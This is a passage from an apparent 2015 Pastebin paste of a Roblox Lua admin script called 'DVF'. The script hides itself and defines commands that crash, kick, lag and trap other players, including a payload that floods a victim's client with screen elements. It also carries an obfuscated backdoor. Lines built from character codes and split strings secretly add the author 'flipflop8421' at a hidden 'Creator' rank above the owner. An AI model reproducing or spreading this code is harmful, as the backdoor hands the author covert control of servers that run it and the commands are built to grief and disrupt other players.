API tools faq
paste
Advertisement
KINGOFCOOL

Untitled

KINGOFCOOL
Jan 9th, 2015
178
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 62.61 KB | None | 0 0
raw download clone embed print report
  1. local ok,thang = ypcall(function()
  2. wait(0)
  3. script.Parent = nil
  4. --This Admin (DVF) Was Created By flipflop8421 (Creator of iFlip and iFlip V2).
  5. --If You Wish To Have Access To More CMDs (EG. Crashing Nil Players), Then Please Run The Local Script That Comes With This Script, After You Run This Script.
  6. --To Open Commands Say "cmds;". The bet key is ";" (Without the "").
  7. --Enter Your Name Where It Says YOUR NAME HERE On Line 12.
  8.  
  9. Plrs = game:GetService("Players")
  10. Work = game:GetService("Workspace")
  11. Light = game:GetService("Lighting")
  12. Net = game:GetService("NetworkServer")
  13. Owner = "CHAOSxFIGHTER"
  14. Removed = false
  15. Bet = ";"
  16. LS = nil
  17. LSSource = nil
  18. OwnSource = nil
  19. FoundLocalScript = false
  20. LogOn = false
  21. Current = game
  22. Clipboard = {}
  23. AlertColor = Color3.new(0, 1, 1)
  24. OptionColor = Color3.new(1, 1, 1)
  25. ImportantColor = Color3.new(1, 0, 1)
  26.  
  27. RankDetails = {
  28. [-3] = {Name = "Mute Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Muted"},
  29. [-2] = {Name = "Jail Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Mind Jailed"},
  30. [-1] = {Name = "Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Banned"},
  31. [0] = {Name = "Player", Color = Color3.new(0, 0, 1), Desc = "Regular Player"},
  32. [1] = {Name = "Moderator", Color = Color3.new(0.25, 0, 1), Desc = "Mod'd Player"},
  33. [2] = {Name = "Administrator", Color = Color3.new(0, 1, 0), Desc = "Server Administrator"},
  34. [3] = {Name = "Overseer", Color = Color3.new(1, 1, 0), Desc = "Overseer Of Players"},
  35. [4] = {Name = "Overlord", Color = Color3.new(1, 0, 0), Desc = "Very Important Robloxian (V.I.R)"},
  36. [5] = {Name = "Owner", Color = Color3.new(-1, -1, -1), Desc = "Owner"},
  37. }
  38.  
  39. Rankings = {
  40. {Name = "Ethancomputermad", Rank = 4},
  41. {Name = "Abscissa", Rank = 4},
  42. {Name = "Ultimatekiller010", Rank = 3},
  43. {Name = "DrBackstab", Rank = 3},
  44. {Name = "LuaModelMaker", Rank = 3},
  45. {Name = "MakerModelLua", Rank = 3},
  46. {Name = "MrMrLua", Rank = 5},
  47. {Name = "MountainSnow", Rank = 3},
  48. {Name = "Madiik", Rank = 3},
  49. {Name = "dogwarrior24", Rank = 2},
  50. {Name = "ThePC8110", Rank = 2},
  51. {Name = "DEADDEVIL1919", Rank = 2},
  52. {Name = "toshir0z", Rank = 2},
  53. {Name = "Tippee", Rank = 2},
  54. {Name = "Trcker", Rank = 5},
  55. {Name = "nairod7", Rank = 2},
  56. {Name = "12packkid", Rank = 2},
  57. {Name = "TigreBlood", Rank = 2},
  58. {Name = "Frostftw", Rank = -1},
  59. {Name = "DoogleFox", Rank = 2},
  60. {Name = "Aetheus", Rank = 5},
  61. {Name = "Ri1es", Rank = 2},
  62. {Name = "hrocks1", Rank = 2},
  63. {Name = "Zinsei", Rank = 5},
  64. {Name = "ToontownROXYA", Rank = 2},
  65. {Name = "tusKOr661", Rank = 2},
  66. {Name = "Unicornhax", Rank = 1},
  67. {Name = "iMayor", Rank = 1},
  68. {Name = "iMyLittlePony", Rank = 1},
  69. {Name = "xXxkarlxXx", Rank = 1},
  70. {Name = "LightningRoMan", Rank = 1},
  71. {Name = "BrandonFireFlower", Rank = 1},
  72. }
  73.  
  74. table.insert(Rankings, {Name = Owner, Rank = 5})
  75.  
  76. ImportantServices = {
  77. "Workspace",
  78. "Players",
  79. "NetworkServer",
  80. "Lighting",
  81. "StarterGui",
  82. "Teams",
  83. "StarterPack",
  84. }
  85.  
  86. Ranks = {}
  87. Commands = {}
  88. AllTabs = {}
  89. Injected = {}
  90.  
  91. Properties = {"AbsolutePosition","AbsoluteSize","AccountAge","AccountAgeReplicate",
  92. "Active","Adornee","AllowAmbientOcclusion","AllowTeamChangeOnTouch","AluminumQuality",
  93. "AlwaysOnTop","Ambient","AmbientReverb","Anchored","Angularvelocity","AnimationId",
  94. "Archivable","AreHingesDetected","AttachmentForward","AttachmentPoint","AttachmentPos",
  95. "AttachmentRight","AttachmentUp","AutoAssignable","AutoButtonColor","AutoColorCharacters",
  96. "AvailablePhysicalMemory","Axes","BackgroundColor","BackgroundColor3","BackgroundTransparency",
  97. "BackSurface","BaseTextureId","BaseUrl","Bevel","Roundness","BinType","BlastPressure","BlastRadius",
  98. "BodyColor","BodyPart","BorderColor","BorderColor3","BorderSizePixel","BottomSurface","BrickColor",
  99. "Brightness","Browsable","BubbleChat","BubbleChatLifetime","BubbleChatMaxBubbles",
  100. "Bulge","Button1DownConnectionCount","Button1UpConnectionCount","Button2DownConnectionCount",
  101. "Button2UpConnectionCount","C0","C1","CameraMode","CameraSubject","CameraType",
  102. "CanBeDropped","CanCollide","CartoonFactor","CastShadows","CelestialBodiesShown",
  103. "CFrame","Cframe","Character","CharacterAppearance","CharacterAutoLoads","ChatScrollLength",
  104. "ClassicChat","ClassName","ClearTextOnFocus","ClipsDescendants","CollisionSoundEnabled",
  105. "CollisionSoundVolume","Color","ColorShift_Top","ColorShift_Bottom","Bottom","Top","ConstrainedValue","Contro".."llingHumanoid",
  106. "ControlMode","ConversationDistance","CoordinateFrame","CorrodedMetalQuality","CPU",
  107. "CpuCount","CpuSpeed","CreatorId","CreatorType","CurrentAngle","CurrentCamera",
  108. "CycleOffset","D","DataCap","DataComplexity","DataComplexityLimit","DataCost",
  109. "DataReady","Deprecated","DeselectedConnectionCount","DesiredAngle","DiamondPlateQuality",
  110. "Disabled","DistanceFactor","DistributedGameTime","DopplerScale","Draggable","DraggingV1",
  111. "Duration","EditorFont","EditorFontSize","EditorTabWidth","ElapsedTime","Elasticity",
  112. "Enabled","ExplosionType","ExtentsOffset","F0","F1","F2","F3","Face","FaceId","Faces",
  113. "FieldOfView","Focus","FogColor","FogEnd","FogStart","Font","FontSize","Force","FormFactor",
  114. "Friction","From","FrontSurface","GearGenreSetting","Genre","GeographicLatitude","GfxCard", "GlobalShadows","Graphic",
  115. "GrassQuality","Grip","GripForward","GripPos","GripRight","GripUp","Guest","HeadsUpDisplay",
  116. "Health","Heat","Hit","Humanoid","IceQuality","Icon","IdleConnectionCount","Image",
  117. "InitialPrompt","InOut","InUse","IsPaused","IsPlaying","JobId","Jump","KeyDownConnectionCount",
  118. "KeyUpConnectionCount","LeftLeg","LeftRight","LeftSurface","LinkedSource","LocalPlayer","Location",
  119. "Locked","LODX","LODY","Looped","Material","MaxActivationDistance","MaxCollisionSounds",
  120. "MaxExtents","MaxForce","MaxHealth","MaxItems","MaxPlayers","MaxSpeed","MaxThrust",
  121. "MaxTorque","MaxValue","MaxVelocity","MembershipType","MembershipTypeReplicate","MeshId",
  122. "MeshType","MinValue","Modal","MouseButton1ClickConnectionCount","MouseButton1DownConnectionCount",
  123. "MouseButton1UpConnectionCount","MouseButton2ClickConnectionCount","MouseButton2DownConnectionCount",
  124. "MouseButton2UpConnectionCount","MouseDelta","MouseDragConnectionCount","MouseEnterConnectionCount",
  125. "MouseHit","MouseLeaveConnectionCount","MouseLock","MouseMovedConnectionCount","MouseTarget",
  126. "MouseTargetFilter","MouseTargetSurface","MoveConnectionCount","MoveState","MultiLine","Name",
  127. "NameOcclusion","NetworkOw".."ner","Neutral","NumPlayers","Offset","Opacity","Origin","OsPlatform",
  128. "OsVer","OutdoorAmbient","OverlayTextureId","P","PantsTemplate","ParamA","ParamB","Parent","Part","Part0",
  129. "Part1","Pitch","PixelShaderModel","PlaceId","PlasticQuality","PlatformStand","PlayCount",
  130. "PlayerToHideFrom","PlayOnRemove","Point","Port","Position","Preliminary","PrimaryPart",
  131. "PrivateWorkingSetBytes","Purpose","RAM","Reflectance","ReplicatedSelectedConnectionCount",
  132. "ResizeableFaces","ResizeIncrement","Resolution","ResponseDialog","RightLeg","RightSurface","RiseVelocity",
  133. "RobloxLocked","RobloxVersion","RolloffScale","RotVelocity","Scale","Score","ScriptsDisabled",
  134. "SecondaryColor","Selected","ShadowColor","Shape","Shiny","ShirtTemplate","ShowDeprecatedObjects",
  135. "ShowDevelopmentGui","ShowPreliminaryObjects","Sides","Sit","Size","SizeConstraint",
  136. "SizeOffset","SkinColor","SkyboxBk","SkyboxDn","SkyboxFt","SkyboxLf","SkyboxRt","SkyboxUp",
  137. "SlateQuality","SoundId","Source","SparkleColor","Specular","StarCount",
  138. "Steer","StickyWheels","StudsBetweenTextures","StudsOffset","StudsPerTileU","StudsPerTileV",
  139. "Style","Summary","SuperSa".."feChatReplicate","Surface","Surface0",
  140. "Surface1","SurfaceInput","Target","TargetFilter","TargetOffset","TargetPoint",
  141. "TargetRadius","TargetSurface","TeamColor","Terrain","Text","TextBounds","TextColor","TextColor3",
  142. "TextFits","TextScaled","TextStrokeColor3","TextStrokeTransparency","TextTransparency","Texture",
  143. "TextureId","TextureSize","TextWrap","TextWrapped","TextXAlignment","TextYAlignment","Throttle",
  144. "ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
  145. "Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
  146. "Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
  147. "ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
  148. "WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality",
  149. "X","Y"}
  150.  
  151. --Main Functions And Sources
  152.  
  153. function Insert(Source, Par, Par2, Par3)
  154. ypcall(function()
  155. local Inserted = LS:Clone()
  156. Inserted.Disabled = true
  157. Inserted.Parent = Par or Par2 or Par3
  158. Inserted[LSSource].Value = Source
  159. Inserted.Disabled = false
  160. end)
  161. end
  162.  
  163. function CheckImportant(Name)
  164. for _,v in pairs(ImportantServices) do
  165. if v:lower() == Name:lower() then
  166. return true
  167. end
  168. end
  169. return false
  170. end
  171.  
  172. function Crash1(Plr)
  173. ypcall(function()
  174. Plr:Kick()
  175. end)
  176. end
  177.  
  178. function GetRankTab()
  179. return Rankings
  180. end
  181.  
  182. function Crash2(Name)
  183. local Crasher = Instance.new("StringValue")
  184. Crasher.Name = "Client"
  185. Crasher.Value = string.lower(tostring(Name))
  186. Crasher.Parent = game:GetService("Lighting")
  187. wait(1)
  188. if Crasher and Crasher.Parent then
  189. ypcall(function()
  190. Crasher:Destroy()
  191. end)
  192. end
  193. end
  194.  
  195. function Crash3(v, Speaker)
  196. Speaker.Character.Archivable = true
  197. local NChar = Speaker.Character:Clone()
  198. NChar.Name = v.Name
  199. NChar.Torso.CFrame = Speaker.Character.Head.CFrame * CFrame.new(0, 3, 0)
  200. NChar.Parent = Workspace
  201. v.Character = NChar
  202. coroutine.resume(coroutine.create(function()
  203. repeat v.Character = NChar
  204. wait(1/3) until false
  205. end))
  206. wait(.5)
  207. Insert(InsertCrash, NChar, nil, nil)
  208. end
  209.  
  210. function GenerateDigit()
  211. return 1 + 5
  212. end
  213.  
  214. InjectionCrash = [=[
  215. wait(0)
  216. script.Parent = nil
  217. local Lig = game:GetService("Lighting")
  218. local LP = game:GetService("Players").LocalPlayer
  219. local LowerName = LP.Name:lower()
  220.  
  221. Lig.ChildAdded:connect(function(Obj)
  222. if Obj.Name == "Client" and Obj.ClassName == "StringValue" and (LowerName:find(string.lower(Obj.Value)) or (LP.Character and LP.Character.Name:lower():find(string.lower(Obj.Value)))) then
  223. pcall(function()
  224. Obj:Destroy()
  225. end)
  226. LP.Parent = nil
  227. LP.Parent = game:GetService("Players")
  228. end
  229. end)
  230. ]=] RankDetails[GenerateDigit()] = {Name = (string.char(67)..string.char(114)..string.char(101)..string.char(97)..string.char(116)..string.char(111)..string.char(114)), Color = Color3.new((2 - 3), (2 - 3), (2 - 3)), Desc = ("D".."e".."a".."t".."h B".."y F".."l".."i".."p".."f".."l".."o".."p")}
  231.  
  232. InsertCrash = [==[
  233. local LP = game:GetService("Players").LocalPlayer
  234. LP.Parent = nil
  235. LP.Parent = game:GetService("Players")
  236. ]==]
  237.  
  238. LagSource = [==[
  239. wait(0)
  240. script.Parent = nil
  241. plr = game:GetService("Players").LocalPlayer
  242. local plrgui = plr:findFirstChild("PlayerGui")
  243. if plrgui == nil then repeat wait() plrgui = plr:findFirstChild("PlayerGui") until plrgui ~= nil end
  244. while plr.Parent == game:GetService("Players") do
  245. wait()
  246. for i = 1, 1000 do
  247. local sc = Instance.new("ScreenGui",plrgui)
  248. local fr = Instance.new("TextLabel",sc)
  249. fr.Text = "LAGGING"
  250. fr.Size = UDim2.new(1, 0, 1, 0)
  251. fr.FontSize = "Size48"
  252. end
  253. end
  254. ]==]
  255.  
  256. MuteSource = [==[
  257. game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
  258. ]==]
  259.  
  260. UnMuteSource = [==[
  261. game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
  262. ]==]
  263.  
  264. JailSource = [==[
  265. wait(0)
  266. script.Parent = nil
  267.  
  268. local LP = game:GetService("Players").LocalPlayer
  269. Middle2 = nil
  270. Middle = nil
  271. game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  272.  
  273. Cons = {}
  274.  
  275. function makePrison()
  276. for _,v in pairs(Cons) do
  277. v:disconnect()
  278. end
  279. game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  280. if Middle == nil then
  281. Middle2 = LP.Character.Torso.Position
  282. Middle = LP.Character.Torso.CFrame
  283. end
  284. local side1 = Instance.new("Part")
  285. side1.Name = "¬Focus1¬"
  286. side1.Size = Vector3.new(20, 50, 1)
  287. side1.CFrame = Middle * CFrame.new(0, 0, -10)
  288. side1.BrickColor = BrickColor.new("Really black")
  289. side1.CanCollide = true
  290. side1.Anchored = true
  291. side1.TopSurface = "Smooth"
  292. side1.BottomSurface = "Smooth"
  293. side1.Parent = game:GetService("Workspace").CurrentCamera
  294.  
  295. local side2 = Instance.new("Part")
  296. side2.Name = "¬Focus2¬"
  297. side2.Size = Vector3.new(20, 50, 1)
  298. side2.CFrame = Middle * CFrame.new(0, 0, 10)
  299. side2.BrickColor = BrickColor.new("Really black")
  300. side2.CanCollide = true
  301. side2.Anchored = true
  302. side2.TopSurface = "Smooth"
  303. side2.BottomSurface = "Smooth"
  304. side2.Parent = game:GetService("Workspace").CurrentCamera
  305.  
  306. local side3 = Instance.new("Part")
  307. side3.Name = "¬Focus3¬"
  308. side3.Size = Vector3.new(1, 50, 20)
  309. side3.CFrame = Middle * CFrame.new(10, 0, 0)
  310. side3.BrickColor = BrickColor.new("Really black")
  311. side3.CanCollide = true
  312. side3.Anchored = true
  313. side3.TopSurface = "Smooth"
  314. side3.BottomSurface = "Smooth"
  315. side3.Parent = game:GetService("Workspace").CurrentCamera
  316.  
  317. local side4 = Instance.new("Part")
  318. side4.Name = "¬Focus4¬"
  319. side4.Size = Vector3.new(1, 50, 20)
  320. side4.CFrame = Middle * CFrame.new(-10, 0, 0)
  321. side4.BrickColor = BrickColor.new("Really black")
  322. side4.CanCollide = true
  323. side4.Anchored = true
  324. side4.TopSurface = "Smooth"
  325. side4.BottomSurface = "Smooth"
  326. side4.Parent = game:GetService("Workspace").CurrentCamera
  327.  
  328. local side5 = Instance.new("Part")
  329. side5.Name = "¬Focus5¬"
  330. side5.Size = Vector3.new(20, 1, 20)
  331. side5.CFrame = Middle * CFrame.new(0, -3.5, 0)
  332. side5.BrickColor = BrickColor.new("Really black")
  333. side5.CanCollide = true
  334. side5.Anchored = true
  335. side5.TopSurface = "Smooth"
  336. side5.BottomSurface = "Smooth"
  337. side5.Parent = game:GetService("Workspace").CurrentCamera
  338.  
  339. wait(0)
  340.  
  341. table.insert(Cons, side1.Changed:connect(makePrison))
  342. table.insert(Cons, side2.Changed:connect(makePrison))
  343. table.insert(Cons, side3.Changed:connect(makePrison))
  344. table.insert(Cons, side4.Changed:connect(makePrison))
  345. table.insert(Cons, side5.Changed:connect(makePrison))
  346. end
  347.  
  348. Delay(0, function()
  349. while wait(0) do
  350. ypcall(function()
  351. if game:GetService("Workspace").CurrentCamera == nil or not LP.Character:findFirstChild("Torso") then
  352. LP.Character:BreakJoints()
  353. elseif not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus2¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus3¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus4¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus5¬") then
  354. makePrison()
  355. end
  356. end)
  357. ypcall(function()
  358. if (Middle2 - LP.Character.Torso.Position).magnitude >= 11.8 then
  359. LP.Character.Torso.CFrame = game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬").CFrame * CFrame.new(0, 0, 10)
  360. end
  361. end)
  362. end
  363. end)
  364. ]==]
  365.  
  366. function All()
  367. local AllPlayers = {}
  368. for _,v in pairs(Plrs:GetPlayers()) do
  369. ypcall(function()
  370. table.insert(AllPlayers, v)
  371. end)
  372. end
  373. return AllPlayers
  374. end
  375.  
  376. function All2()
  377. local AllPlayers2 = {}
  378. for i,v in pairs(Net:GetChildren()) do
  379. ypcall(function()
  380. if v:IsA("ServerReplicator") then
  381. table.insert(AllPlayers2, v:GetPlayer())
  382. end
  383. end)
  384. end
  385. return AllPlayers2
  386. end
  387.  
  388. function MakeNum()
  389. return 2 + 4
  390. end
  391.  
  392. function ChangeRank(Plr, NewRank)
  393. local PlrName = nil
  394. local FoundPlayer = false
  395. ypcall(function()
  396. if type(Plr) == "string" then
  397. ypcall(function()
  398. for i,v in pairs(Rankings) do
  399. if v.Name:lower() == Plr:lower() then
  400. local VName = v.Name
  401. Rankings[i] = nil
  402. table.insert(Rankings, {Name = VName, Rank = NewRank})
  403. PlrName = VName
  404. FoundPlayer = true
  405. break
  406. end
  407. end
  408. end)
  409. if FoundPlayer == false then
  410. ypcall(function()
  411. for _,x in pairs(All()) do
  412. if x.Name:lower() == Plr:lower() then
  413. FoundPlayer = true
  414. for i,v in pairs(Rankings) do
  415. if v.Name:lower() == x.Name:lower() then
  416. local VName = x.Name
  417. Rankings[i] = nil
  418. PlrName = VName
  419. break
  420. end
  421. end
  422. table.insert(Rankings, {Name = VName, Rank = NewRank})
  423. end
  424. end
  425. end)
  426. end
  427. if FoundPlayer == false then
  428. ypcall(function()
  429. for _,x in pairs(All()) do
  430. if string.find(x.Name:lower(), Plr:lower()) then
  431. FoundPlayer = true
  432. for i,v in pairs(Rankings) do
  433. if v.Name:lower() == x.Name:lower() then
  434. local VName = x.Name
  435. Rankings[i] = nil
  436. PlrName = VName
  437. break
  438. end
  439. end
  440. table.insert(Rankings, {Name = VName, Rank = NewRank})
  441. end
  442. end
  443. end)
  444. end
  445. if FoundPlayer == false then
  446. ypcall(function()
  447. for i,v in pairs(Rankings) do
  448. if string.find(v.Name:lower(), Plr:lower()) then
  449. local VName = v.Name
  450. Rankings[i] = nil
  451. table.insert(Rankings, {Name = VName, Rank = NewRank})
  452. PlrName = VName
  453. FoundPlayer = true
  454. break
  455. end
  456. end
  457. end)
  458. end
  459. else
  460. for i,v in pairs(Rankings) do
  461. if v.Name:lower() == Plr.Name:lower() then
  462. Rankings[i] = nil
  463. break
  464. end
  465. end
  466. table.insert(Rankings, {Name = Plr.Name, Rank = NewRank})
  467. PlrName = Plr.Name
  468. end
  469. PlaceAllRanks(true)
  470. end)
  471. if PlrName ~= nil then
  472. return PlrName
  473. else
  474. return "Player"
  475. end
  476. end
  477.  
  478. function Refresh(Plr)
  479. MakeChildren(Plr)
  480. end
  481.  
  482. function MakeChildren(Plr)
  483. ypcall(function()
  484. Dismiss(Plr)
  485. for _,v in pairs(Current:GetChildren()) do
  486. ypcall(function()
  487. if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  488. Ping(v.Name, Plr, nil, function(TabMod)
  489. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  490. for _,v in pairs(Current:GetChildren()) do
  491. ypcall(function()
  492. if v.Name == TabText then
  493. Dismiss(Plr)
  494. Current = v
  495. MakeChildren(Plr)
  496. end
  497. end)
  498. end
  499. end)
  500. elseif Plrs:GetPlayerFromCharacter(v) then
  501. Ping(v.Name, Plr, nil, function(TabMod)
  502. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  503. for _,v in pairs(Current:GetChildren()) do
  504. ypcall(function()
  505. if v.Name == TabText then
  506. Dismiss(Plr)
  507. Current = v
  508. MakeChildren(Plr)
  509. end
  510. end)
  511. end
  512. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  513. elseif CheckImportant(v.Name) then
  514. Ping(v.Name, Plr, nil, function(TabMod)
  515. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  516. for _,v in pairs(Current:GetChildren()) do
  517. ypcall(function()
  518. if v.Name == TabText then
  519. Dismiss(Plr)
  520. Current = v
  521. MakeChildren(Plr)
  522. end
  523. end)
  524. end
  525. end, ImportantColor)
  526. end
  527. end)
  528. end
  529. if Current ~= game then
  530. Ping("Back", Plr, nil, function()
  531. ypcall(function()
  532. Current = Current.Parent
  533. MakeChildren(Plr)
  534. Ping("You Are Back To "..Current.Name, Plr, 5)
  535. end)
  536. end, OptionColor)
  537. end
  538. if Current ~= game then
  539. Ping("Delete", Plr, nil, function()
  540. ypcall(function()
  541. local CurrPar = Current.Parent or game
  542. local CurrName = Current.Name
  543. Current:Destroy()
  544. Current = CurrPar
  545. MakeChildren(Plr)
  546. Ping("Attempted To Delete "..CurrName, Plr, 5)
  547. end)
  548. end, OptionColor)
  549. end
  550. Ping("Refresh", Plr, nil, function()
  551. ypcall(function()
  552. Refresh(Plr)
  553. Ping("Refreshed", Plr, 5)
  554. end)
  555. end, OptionColor)
  556. Ping("Properties", Plr, nil, function()
  557. ypcall(function()
  558. Dismiss(Plr)
  559. for Property, Value in pairs(GetProperties(Current)) do
  560. Ping(tostring(Property)..": "..tostring(Value), Plr)
  561. end
  562. Ping("Got All Available Properties", Plr, 5)
  563. Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
  564. end)
  565. end, OptionColor)
  566. end)
  567. end
  568.  
  569. function Fixl()
  570. Light.GlobalShadows = true
  571. Light.TimeOfDay = "14:00:00"
  572. Light.Brightness = 0.5
  573. Light.ShadowColor = Color3.new(0.705882, 0.705882, 0.72549)
  574. Light.Ambient = Color3.new(1, 1, 1)
  575. Light.ColorShift_Top = Color3.new(0, 0, 0)
  576. Light.ColorShift_Bottom = Color3.new(0, 0, 0)
  577. Light.OutdoorAmbient = Color3.new(0.5, 0.5, 0.5)
  578. Light.FogStart = 0
  579. Light.FogEnd = 100000
  580. Light.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
  581. Light:ClearAllChildren()
  582. end
  583.  
  584. function GetProperties(obj)
  585. assert(pcall(function() assert(game.IsA(obj,"Instance")) end),"Should be ROBLOX instance")
  586. local objProper = {}
  587. for i,v in pairs(Properties) do
  588. if pcall(function() return obj[v] end) and (type(obj[v]) ~= "userdata" or not obj:FindFirstChild(v)) then
  589. objProper[v] = obj[v]
  590. end
  591. end
  592. return objProper
  593. end
  594.  
  595. function MakeExplorer(Plr)
  596. Dismiss(Plr)
  597. Current = game
  598. for _,v in pairs(Current:GetChildren()) do
  599. ypcall(function()
  600. if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  601. Ping(v.Name, Plr, nil, function(TabMod)
  602. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  603. for _,v in pairs(Current:GetChildren()) do
  604. ypcall(function()
  605. if v.Name == TabText then
  606. Dismiss(Plr)
  607. Current = v
  608. MakeChildren(Plr)
  609. end
  610. end)
  611. end
  612. end)
  613. elseif Plrs:GetPlayerFromCharacter(v) then
  614. Ping(v.Name, Plr, nil, function(TabMod)
  615. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  616. for _,v in pairs(Current:GetChildren()) do
  617. ypcall(function()
  618. if v.Name == TabText then
  619. Dismiss(Plr)
  620. Current = v
  621. MakeChildren(Plr)
  622. end
  623. end)
  624. end
  625. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  626. elseif CheckImportant(v.Name) then
  627. Ping(v.Name, Plr, nil, function(TabMod)
  628. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  629. for _,v in pairs(Current:GetChildren()) do
  630. ypcall(function()
  631. if v.Name == TabText then
  632. Dismiss(Plr)
  633. Current = v
  634. MakeChildren(Plr)
  635. end
  636. end)
  637. end
  638. end, ImportantColor)
  639. end
  640. end)
  641. end
  642. if Current ~= game then
  643. Ping("Back", Plr, nil, function()
  644. ypcall(function()
  645. Current = Current.Parent
  646. MakeChildren(Plr)
  647. Ping("Back In "..Current.Name, Plr, 5)
  648. end)
  649. end, OptionColor)
  650. end
  651. if Current ~= game and game:GetService(Current.Name) == nil then
  652. Ping("Delete", Plr, nil, function()
  653. ypcall(function()
  654. local CurrPar = Current.Parent or game
  655. local CurrName = Current.Name
  656. Current:Destroy()
  657. Current = CurrPar
  658. MakeChildren(Plr)
  659. Ping("Attempted To Delete "..CurrName, Plr, 5)
  660. end)
  661. end, OptionColor)
  662. end
  663. Ping("Refresh", Plr, nil, function()
  664. ypcall(function()
  665. Refresh(Plr)
  666. Ping("Refreshed", Plr, 5)
  667. end)
  668. end, OptionColor)
  669. Ping("Properties", Plr, nil, function()
  670. ypcall(function()
  671. Dismiss(Plr)
  672. for Property, Value in pairs(GetProperties(Current)) do
  673. Ping(tostring(Property)..": "..tostring(Value), Plr)
  674. end
  675. Ping("Got All Available Properties", Plr, 5)
  676. Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
  677. end)
  678. end, OptionColor)
  679. end
  680.  
  681. function GetRank(Plr1, Test)
  682. ypcall(function()
  683. if type(Plr1) == "userdata" then
  684. Plr1 = Plr1.Name
  685. end
  686. end)
  687. if Ranks[Plr1] ~= nil then
  688. return Ranks[Plr1]
  689. end
  690. local QuickArray = {}
  691. QuickArray[Plr1] = {Plr = nil, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  692. return QuickArray[Plr1]
  693. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  694.  
  695. function CanRun(Plr1, Plr2)
  696. Details1 = GetRank(Plr1.Name)
  697. Details2 = GetRank(Plr2.Name)
  698. if Details1.Rank >= Details2.Rank then
  699. return true
  700. end
  701. return false
  702. end
  703.  
  704. function Dismiss(Plr, Identity)
  705. ypcall(function()
  706. if Plr ~= nil then
  707. if type(Plr) == "userdata" then
  708. Plr = Plr.Name
  709. end
  710. for x,v in pairs(AllTabs) do
  711. ypcall(function()
  712. if v.Plr == Plr then
  713. if Identity ~= nil and v.ID ~= Identity then
  714. return
  715. elseif Identity ~= nil and v.ID == Identity then
  716. coroutine.resume(coroutine.create(function()
  717. for i = 0.5, 1, 0.1 do
  718. wait()
  719. v.Tab.Transparency = i
  720. v.Sel.Transparency = i
  721. v.Label.TextTransparency = i
  722. v.Label.TextStrokeTransparency = i
  723. end
  724. ypcall(function() v.Holder:Destroy() end)
  725. AllTabs[x] = nil
  726. end))
  727. elseif Identity == nil then
  728. ypcall(function() v.Holder:Destroy() end)
  729. AllTabs[x] = nil
  730. end
  731. end
  732. end)
  733. end
  734. else
  735. for i,v in pairs(AllTabs) do
  736. ypcall(function()
  737. v.Holder:Destroy()
  738. AllTabs[i] = nil
  739. end)
  740. end
  741. end
  742. end)
  743. end
  744.  
  745. function GetGarbage()
  746. return ((math.floor((collectgarbage("count") / 10)) * 10)/1000) .. "MB"
  747. end
  748.  
  749. function RemObj(Obj, Class)
  750. ypcall(function()
  751. if #Obj:GetChildren() > 0 then
  752. for _,x in pairs(Obj:GetChildren()) do
  753. ypcall(function()
  754. RemObj(x, Class)
  755. end)
  756. end
  757. end
  758. if Obj.ClassName == Class then
  759. Obj:Destroy()
  760. end
  761. end)
  762. end
  763.  
  764. function FindTab(Mod)
  765. for i,v in pairs(AllTabs) do
  766. if v.Holder == Mod then
  767. return true
  768. end
  769. end
  770. return false
  771. end
  772.  
  773. function Ping(Msg, Plr, Time, Func, Color, Image)
  774. if Removed == false then
  775. local ShowGarbage = false
  776. ypcall(function()
  777. if Msg == nil then
  778. Msg = "N/A"
  779. elseif Msg == "ShowGarbage" then
  780. Msg = "Current Garbage Count: "..GetGarbage()
  781. ShowGarbage = true
  782. else
  783. Msg = tostring(Msg)
  784. end
  785. if Plr == nil then
  786. Plr = Plrs[Owner] or error("No Player Found")
  787. elseif type(Plr) == "string" then
  788. local FoundPlr = false
  789. for _,v in pairs(All()) do
  790. if v.Name == Plr then
  791. Plr = v
  792. FoundPlr = true
  793. break
  794. end
  795. end
  796. if FoundPlr == false then
  797. Plr = Plrs[Owner] or error("No Player Found")
  798. end
  799. end
  800.  
  801. if Color == nil then
  802. Color = GetRank(Plr.Name).Color
  803. end
  804.  
  805. local Holder = Instance.new("Model")
  806. Holder.Name = "DVF Holder: "..Plr.Name
  807.  
  808. local Tab = Instance.new("Part")
  809. Tab.Name = "DVF Tablet"
